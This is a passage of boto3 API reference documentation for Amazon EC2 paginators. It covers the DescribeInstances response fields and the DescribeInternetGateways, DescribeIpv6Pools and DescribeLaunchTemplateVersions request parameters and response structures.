|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'LaunchTime': datetime(2015, 1, 1), + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + }, + 'Placement': { + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + 'Platform': 'Windows', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'PublicDnsName': 'string', + 'PublicIpAddress': 'string', + 'RamdiskId': 'string', + 'State': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'StateTransitionReason': 'string', + 'SubnetId': 'string', + 'VpcId': 'string', + 'Architecture': 'i386'|'x86_64'|'arm64', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'Ebs': { + 'AttachTime': datetime(2015, 1, 1), + 'DeleteOnTermination': True|False, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'VolumeId': 'string' + } + }, + ], + 'ClientToken': 'string', + 'EbsOptimized': True|False, + 'EnaSupport': True|False, + 'Hypervisor': 'ovm'|'xen', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'InstanceLifecycle': 'spot'|'scheduled', + 'ElasticGpuAssociations': [ + { + 'ElasticGpuId': 'string', + 'ElasticGpuAssociationId': 'string', + 'ElasticGpuAssociationState': 'string', + 'ElasticGpuAssociationTime': 'string' + }, + ], + 'ElasticInferenceAcceleratorAssociations': [ + { + 'ElasticInferenceAcceleratorArn': 'string', + 'ElasticInferenceAcceleratorAssociationId': 'string', + 'ElasticInferenceAcceleratorAssociationState': 'string', + 'ElasticInferenceAcceleratorAssociationTime': datetime(2015, 1, 1) + }, + ], + 'NetworkInterfaces': [ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'Status': 'attaching'|'attached'|'detaching'|'detached', + 'NetworkCardIndex': 123 + }, + 'Description': 'string', + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'MacAddress': 'string', + 'NetworkInterfaceId': 'string', + 'OwnerId': 'string', + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Association': { + 'CarrierIp': 'string', + 'IpOwnerId': 'string', + 'PublicDnsName': 'string', + 'PublicIp': 'string' + }, + 'Primary': True|False, + 'PrivateDnsName': 'string', + 'PrivateIpAddress': 'string' + }, + ], + 'SourceDestCheck': True|False, + 'Status': 'available'|'associated'|'attaching'|'in-use'|'detaching', + 'SubnetId': 'string', + 'VpcId': 'string', + 'InterfaceType': 'string' + }, + ], + 'OutpostArn': 'string', + 'RootDeviceName': 'string', + 'RootDeviceType': 'ebs'|'instance-store', + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'SourceDestCheck': True|False, + 'SpotInstanceRequestId': 'string', + 'SriovNetSupport': 'string', + 'StateReason': { + 'Code': 'string', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VirtualizationType': 'hvm'|'paravirtual', + 'CpuOptions': { + 'CoreCount': 123, + 'ThreadsPerCore': 123 + }, + 'CapacityReservationId': 'string', + 'CapacityReservationSpecification': { + 'CapacityReservationPreference': 'open'|'none', + 'CapacityReservationTarget': { + 'CapacityReservationId': 'string', + 'CapacityReservationResourceGroupArn': 'string' + } + }, + 'HibernationOptions': { + 'Configured': True|False + }, + 'Licenses': [ + { + 'LicenseConfigurationArn': 'string' + }, + ], + 'MetadataOptions': { + 'State': 'pending'|'applied', + 'HttpTokens': 'optional'|'required', + 'HttpPutResponseHopLimit': 123, + 'HttpEndpoint': 'disabled'|'enabled' + }, + 'EnclaveOptions': { + 'Enabled': True|False + } + }, + ], + 'OwnerId': 'string', + 'RequesterId': 'string', + 'ReservationId': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Reservations** _(list) --_ + + Information about the reservations. + + - _(dict) --_ + + Describes a launch request for one or more instances, and includes owner, requester, and security group information that applies to all instances in the launch request. + + - **Groups** _(list) --_ + + [EC2-Classic only] The security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **Instances** _(list) --_ + + The instances. + + - _(dict) --_ + + Describes an instance. + + - **AmiLaunchIndex** _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + - **ImageId** _(string) --_ + + The ID of the AMI used to launch the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceType** _(string) --_ + + The instance type. + + - **KernelId** _(string) --_ + + The kernel associated with this instance, if applicable. + + - **KeyName** _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + - **LaunchTime** _(datetime) --_ + + The time the instance was launched. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + - **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Platform** _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + - **PrivateDnsName** _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + [EC2-VPC] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address assigned to the instance. + + - **ProductCodes** _(list) --_ + + The product codes attached to this instance, if applicable. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + - **PublicDnsName** _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + - **PublicIpAddress** _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + - **RamdiskId** _(string) --_ + + The RAM disk associated with this instance, if applicable. + + - **State** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **StateTransitionReason** _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + - **SubnetId** _(string) --_ + + [EC2-VPC] The ID of the subnet in which the instance is running. + + - **VpcId** _(string) --_ + + [EC2-VPC] The ID of the VPC in which the instance is running. + + - **Architecture** _(string) --_ + + The architecture of the image. + + - **BlockDeviceMappings** _(list) --_ + + Any block device mapping entries for the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + - **ClientToken** _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + - **EbsOptimized** _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + - **EnaSupport** _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + - **Hypervisor** _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + - **IamInstanceProfile** _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Id** _(string) --_ + + The ID of the instance profile. + + - **InstanceLifecycle** _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + - **ElasticGpuAssociations** _(list) --_ + + The Elastic GPU associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + - **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + - **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + - **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + - **ElasticInferenceAcceleratorAssociations** _(list) --_ + + The elastic inference accelerator associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + - **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + - **NetworkInterfaces** _(list) --_ + + [EC2-VPC] The network interfaces for the instance. + + - _(dict) --_ + + Describes a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Attachment** _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + - **Status** _(string) --_ + + The attachment state. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **Description** _(string) --_ + + The description. + + - **Groups** _(list) --_ + + One or more security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **MacAddress** _(string) --_ + + The MAC address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes a private IPv4 address. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + - **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + - **Status** _(string) --_ + + The status of the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **RootDeviceName** _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + - **RootDeviceType** _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + - **SecurityGroups** _(list) --_ + + The security groups for the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **SourceDestCheck** _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + - **SpotInstanceRequestId** _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + - **SriovNetSupport** _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + - **StateReason** _(dict) --_ + + The reason for the most recent state transition. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + - **Tags** _(list) --_ + + Any tags assigned to the instance. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **VirtualizationType** _(string) --_ + + The virtualization type of the instance. + + - **CpuOptions** _(dict) --_ + + The CPU options for the instance. + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + - **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + - **CapacityReservationSpecification** _(dict) --_ + + Information about the Capacity Reservation targeting option. + + - **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + - **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + - **HibernationOptions** _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + - **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + - **Licenses** _(list) --_ + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + - **MetadataOptions** _(dict) --_ + + The metadata options for the instance. + + - **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + - **EnclaveOptions** _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the reservation. + + - **RequesterId** _(string) --_ + + The ID of the requester that launched the instances on your behalf (for example, AWS Management Console or Auto Scaling). + + - **ReservationId** _(string) --_ + + The ID of the reservation. + + +_class_ EC2.Paginator.DescribeInternetGateways + +paginator = client.get_paginator('describe_internet_gateways') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_internet_gateways()](#EC2.Client.describe_internet_gateways "EC2.Client.describe_internet_gateways"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInternetGateways) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InternetGatewayIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - attachment.state - The current state of the attachment between the gateway and the VPC (available ). Present only if a VPC is attached. + - attachment.vpc-id - The ID of an attached VPC. + - internet-gateway-id - The ID of the Internet gateway. + - owner-id - The ID of the AWS account that owns the internet gateway. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InternetGatewayIds** (_list_) -- + + One or more internet gateway IDs. + + Default: Describes all your internet gateways. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InternetGateways': [ + { + 'Attachments': [ + { + 'State': 'attaching'|'attached'|'detaching'|'detached', + 'VpcId': 'string' + }, + ], + 'InternetGatewayId': 'string', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **InternetGateways** _(list) --_ + + Information about one or more internet gateways. + + - _(dict) --_ + + Describes an internet gateway. + + - **Attachments** _(list) --_ + + Any VPCs attached to the internet gateway. + + - _(dict) --_ + + Describes the attachment of a VPC to an internet gateway or an egress-only internet gateway. + + - **State** _(string) --_ + + The current state of the attachment. For an internet gateway, the state is available when attached to a VPC; otherwise, this value is not returned. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **InternetGatewayId** _(string) --_ + + The ID of the internet gateway. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the internet gateway. + + - **Tags** _(list) --_ + + Any tags assigned to the internet gateway. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeIpv6Pools + +paginator = client.get_paginator('describe_ipv6_pools') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_ipv6_pools()](#EC2.Client.describe_ipv6_pools "EC2.Client.describe_ipv6_pools"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIpv6Pools) + +**Request Syntax** + +response_iterator = paginator.paginate( + PoolIds=[ + 'string', + ], + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **PoolIds** (_list_) -- + + The IDs of the IPv6 address pools. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + One or more filters. + + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Ipv6Pools': [ + { + 'PoolId': 'string', + 'Description': 'string', + 'PoolCidrBlocks': [ + { + 'Cidr': 'string' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Ipv6Pools** _(list) --_ + + Information about the IPv6 address pools. + + - _(dict) --_ + + Describes an IPv6 address pool. + + - **PoolId** _(string) --_ + + The ID of the address pool. + + - **Description** _(string) --_ + + The description for the address pool. + + - **PoolCidrBlocks** _(list) --_ + + The CIDR blocks for the address pool. + + - _(dict) --_ + + Describes a CIDR block for an address pool. + + - **Cidr** _(string) --_ + + The CIDR block. + + - **Tags** _(list) --_ + + Any tags for the address pool. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeLaunchTemplateVersions + +paginator = client.get_paginator('describe_launch_template_versions') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_launch_template_versions()](#EC2.Client.describe_launch_template_versions "EC2.Client.describe_launch_template_versions"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeLaunchTemplateVersions) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + LaunchTemplateId='string', + LaunchTemplateName='string', + Versions=[ + 'string', + ], + MinVersion='string', + MaxVersion='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **LaunchTemplateId** (_string_) -- The ID of the launch template. To describe one or more versions of a specified launch template, you must specify either the launch template ID or the launch template name in the request. To describe all the latest or default launch template versions in your account, you must omit this parameter. +- **LaunchTemplateName** (_string_) -- The name of the launch template. To describe one or more versions of a specified launch template, you must specify either the launch template ID or the launch template name in the request. To describe all the latest or default launch template versions in your account, you must omit this 